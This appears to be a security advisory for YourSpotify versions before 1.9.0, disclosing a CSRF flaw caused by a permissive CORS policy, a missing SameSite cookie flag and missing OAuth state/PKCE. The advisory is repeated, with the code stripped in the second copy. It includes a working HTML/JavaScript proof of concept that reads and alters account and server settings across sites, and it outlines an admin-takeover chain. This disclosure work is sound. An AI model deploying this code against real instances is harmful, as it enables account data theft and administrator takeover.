Summary
YourSpotify version <1.9.0 does not protect its API and login flow against Cross-Site Request Forgery (CSRF).
Attackers can use this to execute CSRF attacks on victims, allowing them to retrieve, modify or delete data on the affected YourSpotify instance.
Using repeated CSRF attacks, it is also possible to create a new user on the victim instance and promote the new user to instance administrator if a legitimate administrator visits a website prepared by an attacker.
Note: Real-world exploitability of this vulnerability depends on the browser version and browser settings in use by the victim.
Details
There are multiple underlying issues that contribute to this security issue. These issues will be laid out in the following sections.
Overly permissive default CORS policy
The default setup guide in the repository does not emphasize that a proper CORS policy is required for security. If no specific CORS policy is set, YourSpotify allows any origin by default.
It is safe to assume that many users will not configure a custom and secure CORS policy, as the overly permissive default 'works' in the sense that YourSpotify will work as expected.
As Access-Control-Allow-Credentials
is also set to true
in the CORS policy, this effectively allows any third-party (i.e. cross-origin and cross-site) to interact with the YourSpotify API using the session cookie saved in the browser
Missing SameSite
cookie attribute
YourSpotify does not set any cookie security flags for its session cookie named token
. Specifically, the SameSite
cookie flag, which can provide protection against CSRF, is not set.
Some browsers (such as Google Chrome) actually default to SameSite: lax
-like behavior when it is not explictly set, while other browser (such as Firefox) do not do this (as of now). The required attribute should be explicitly set.
No CSRF token or anti-CSRF header is in use
YourSpotify also does not employ any other CSRF countermeasures, such as CSRF tokens or anti-CSRF headers. See the remediation recommendations for more information.
Missing OAuth 2.0 state
validation and missing OAuth 2.0 PKCE implementation
The OAuth 2.0 based login flow is a special case for CSRF, as it is the only backend functionality that is intended to be used by directly accessing the endpoint using a browser.
The OAuth 2.0 standard requires CSRF protection (see RFC 6749 section 10.12 as well as the current draft of "OAuth 2.0 Security Best Current Practice" section 4.7) to be secure. This can be achieved by generating a random state
variable, binding it to the user session, adding it to the authorization request, and finally validating the given state
against the saved session value when the authorization code is delivered to the callback URL.
Additionally, PKCE (Proof Key for Code Exchange, see RFC6736) also provides protection against CSRF attacks.
Both the state
variable and PKCE are not used by YourSpotify, allowing an attacker to inject their own authorization code using CSRF. This can allow an attacker to register a new user account on a YourSpotify instance using CSRF.
Browser version and settings disclaimer
Real-world exploitability of this vulnerability depends on the browser version and browser settings in use by the victim. As an example, SameSite
cookie flag default values differ from browser to browser. Additionally, initiatives and features such as Third-party cookie deprecation in Chrome or Firefox "Total Cookie Protection" may cause the browser not to send cross-site cookies, even thought both the cookie flags and the CORS policy would allow it.
However, the underlying issues should be fixed regardless so that all users are protected from this vulnerability.
Proof of Concept
Because of time constraints, this section only provides a simple proof of concept for reading and altering YourSpotify data. A more interesting attack scenario is also presented, but not implemented as a proof of concept.
Simple proof of concept
The following HTML and JS files can be hosted on an attacker server for a proof of concept:
csrf.html
:
<!DOCTYPE html>
<html>
<head>
<title>CSRF Test</title>
<script src="/csrf.js"></script>
</head>
<body>
<h1>CSRF Test</h1>
Interacting with <span id="victimServer"></span>
<p>
<button id="allowSignupButton">Allow Signup</button>
<button id="disallowSignupButton">Disallow Signup</button>
<br>
<button id="logoutButton">Log out</button>
<br>
<input id="loginAuthCode" placeholder="Authorization Code"></input>
<button id="loginButton">Login with auth code</button>
<p>
Global Preferences Output:
<pre id="csrf-output-prefs"></pre>
<p>
/me Output:
<pre id="csrf-output-me"></pre>
</body>
</html>
csrf.js
:
const victimServer = "http://backend.yourspotify.internal:8080";
const fetchMe = async () => {
const responseUserRedactions = {
username: "<REDACTED>",
spotifyId: "<REDACTED>",
accessToken: "<REDACTED>",
refreshToken: "<REDACTED>",
}
let response = await fetch(`${victimServer}/me`, { credentials: "include"})
.then(r => r.json());
if (response.user !== undefined) {
response.user = {...response.user, ...responseUserRedactions};
}
return response
};
const fetchGlobalPrefs = async () => {
response = await fetch(`${victimServer}/global/preferences`, { credentials: "include"})
.then(r => r.json());
return response;
};
const refreshOutput = async(fetchFn, targetElement) => {
let response = await fetchFn();
let formattedResponse = JSON.stringify(response, null, 2);
document.querySelector(targetElement).textContent = formattedResponse;
};
const allowSignup = async (allowSignupState) => {
response = await fetch(`${victimServer}/global/preferences`, {
credentials: "include",
method: "POST",
body: JSON.stringify({ "allowRegistrations": allowSignupState }),
headers: {
"Content-Type": "application/json",
}
}).then(r => r.json());
await refreshOutput(fetchGlobalPrefs, "#csrf-output-prefs");
return response;
};
const logout = async () => {
response = await fetch(`${victimServer}/logout`, {
credentials: "include",
method: "POST",
});
await refreshOutput(fetchMe, "#csrf-output-me");
};
const login = async () => {
let authCode = document.getElementById("loginAuthCode").value;
let params = new URLSearchParams({
code: authCode
});
try {
response = await fetch(`${victimServer}/oauth/spotify/callback?${params}`, {
credentials: "include",
method: "GET",
});
} catch (err) {
// This fails because the backend redirects to the frontend and the frontend
// doesn't allow CORS with credentials. This can be ignored.
console.log(err);
}
await refreshOutput(fetchMe, "#csrf-output-me");
};
const bindListeners = () => {
document.getElementById("allowSignupButton").onclick = e => allowSignup(true);
document.getElementById("disallowSignupButton").onclick = e => allowSignup(false);
document.getElementById("logoutButton").onclick = e => logout();
document.getElementById("loginButton").onclick = e => login();
};
window.onload = async () => {
bindListeners();
document.getElementById("victimServer").innerText = victimServer;
await refreshOutput(fetchMe, "#csrf-output-me");
await refreshOutput(fetchGlobalPrefs, "#csrf-output-prefs");
};
When a victim user opens this site in Firefox (with Firefox enhanced tracking protection disabled or configured to a low level), the following content is shown:
As shown in the screenshot, the account data can be read from a cross-site origin.
The "Allow Signup" and "Disallow Signup" buttons can be used to update the server preferences to allow new users to sign up. Finally, the logout and login buttons can be used to log out the existing session or log in a new session with a supplied OAuth authorization code.
Reading this data and performing these actions should only be allowed and possible from the frontend origin.
Description of more elaborate proof of concept
An interesting real-world attack would perform the following actions in an automated fashion:
- Enable new user sign-up using CSRF (requires an admin user to be currently logged into YourSpotify)
- Create a new user controlled by the attacker on the YourSpotify instance, either by CSRF-ing the OAuth 2.0 callback or by completing the sign-up flow from the attacker server (if the target YourSpotify instance is reachable by the attacker)
- Use CSRF again to make the victim administrator promote the attacker user to administrator
After this, the attacker has gained access to the target YourSpotify instance as an administrator.
Impact
Attackers can use this to execute CSRF attacks on victims, allowing them to retrieve, modify or delete data on the affected YourSpotify instance.
Using repeated CSRF attacks, it is also possible to create a new user on the victim instance and promote the new user to instance administrator if a legitimate administrator visits a website prepared by an attacker.
Note: Real-world exploitability of this vulnerability depends on the browser version and browser settings in use by the victim.
Summary
YourSpotify version <1.9.0 does not protect its API and login flow against Cross-Site Request Forgery (CSRF).
Attackers can use this to execute CSRF attacks on victims, allowing them to retrieve, modify or delete data on the affected YourSpotify instance.
Using repeated CSRF attacks, it is also possible to create a new user on the victim instance and promote the new user to instance administrator if a legitimate administrator visits a website prepared by an attacker.
Note: Real-world exploitability of this vulnerability depends on the browser version and browser settings in use by the victim.
Details
There are multiple underlying issues that contribute to this security issue. These issues will be laid out in the following sections.
Overly permissive default CORS policy
The default setup guide in the repository does not emphasize that a proper CORS policy is required for security. If no specific CORS policy is set, YourSpotify allows any origin by default.
It is safe to assume that many users will not configure a custom and secure CORS policy, as the overly permissive default 'works' in the sense that YourSpotify will work as expected.
As
Access-Control-Allow-Credentials
is also set totrue
in the CORS policy, this effectively allows any third-party (i.e. cross-origin and cross-site) to interact with the YourSpotify API using the session cookie saved in the browserMissing
SameSite
cookie attributeYourSpotify does not set any cookie security flags for its session cookie named
token
. Specifically, theSameSite
cookie flag, which can provide protection against CSRF, is not set.Some browsers (such as Google Chrome) actually default to
SameSite: lax
-like behavior when it is not explictly set, while other browser (such as Firefox) do not do this (as of now). The required attribute should be explicitly set.No CSRF token or anti-CSRF header is in use
YourSpotify also does not employ any other CSRF countermeasures, such as CSRF tokens or anti-CSRF headers. See the remediation recommendations for more information.
Missing OAuth 2.0
state
validation and missing OAuth 2.0 PKCE implementationThe OAuth 2.0 based login flow is a special case for CSRF, as it is the only backend functionality that is intended to be used by directly accessing the endpoint using a browser.
The OAuth 2.0 standard requires CSRF protection (see RFC 6749 section 10.12 as well as the current draft of "OAuth 2.0 Security Best Current Practice" section 4.7) to be secure. This can be achieved by generating a random
state
variable, binding it to the user session, adding it to the authorization request, and finally validating the givenstate
against the saved session value when the authorization code is delivered to the callback URL.Additionally, PKCE (Proof Key for Code Exchange, see RFC6736) also provides protection against CSRF attacks.
Both the
state
variable and PKCE are not used by YourSpotify, allowing an attacker to inject their own authorization code using CSRF. This can allow an attacker to register a new user account on a YourSpotify instance using CSRF.Browser version and settings disclaimer
Real-world exploitability of this vulnerability depends on the browser version and browser settings in use by the victim. As an example,
SameSite
cookie flag default values differ from browser to browser. Additionally, initiatives and features such as Third-party cookie deprecation in Chrome or Firefox "Total Cookie Protection" may cause the browser not to send cross-site cookies, even thought both the cookie flags and the CORS policy would allow it.However, the underlying issues should be fixed regardless so that all users are protected from this vulnerability.
Proof of Concept
Because of time constraints, this section only provides a simple proof of concept for reading and altering YourSpotify data. A more interesting attack scenario is also presented, but not implemented as a proof of concept.
Simple proof of concept
The following HTML and JS files can be hosted on an attacker server for a proof of concept:
csrf.html
:csrf.js
:When a victim user opens this site in Firefox (with Firefox enhanced tracking protection disabled or configured to a low level), the following content is shown:
As shown in the screenshot, the account data can be read from a cross-site origin.
The "Allow Signup" and "Disallow Signup" buttons can be used to update the server preferences to allow new users to sign up. Finally, the logout and login buttons can be used to log out the existing session or log in a new session with a supplied OAuth authorization code.
Reading this data and performing these actions should only be allowed and possible from the frontend origin.
Description of more elaborate proof of concept
An interesting real-world attack would perform the following actions in an automated fashion:
After this, the attacker has gained access to the target YourSpotify instance as an administrator.
Impact
Attackers can use this to execute CSRF attacks on victims, allowing them to retrieve, modify or delete data on the affected YourSpotify instance.
Using repeated CSRF attacks, it is also possible to create a new user on the victim instance and promote the new user to instance administrator if a legitimate administrator visits a website prepared by an attacker.
Note: Real-world exploitability of this vulnerability depends on the browser version and browser settings in use by the victim.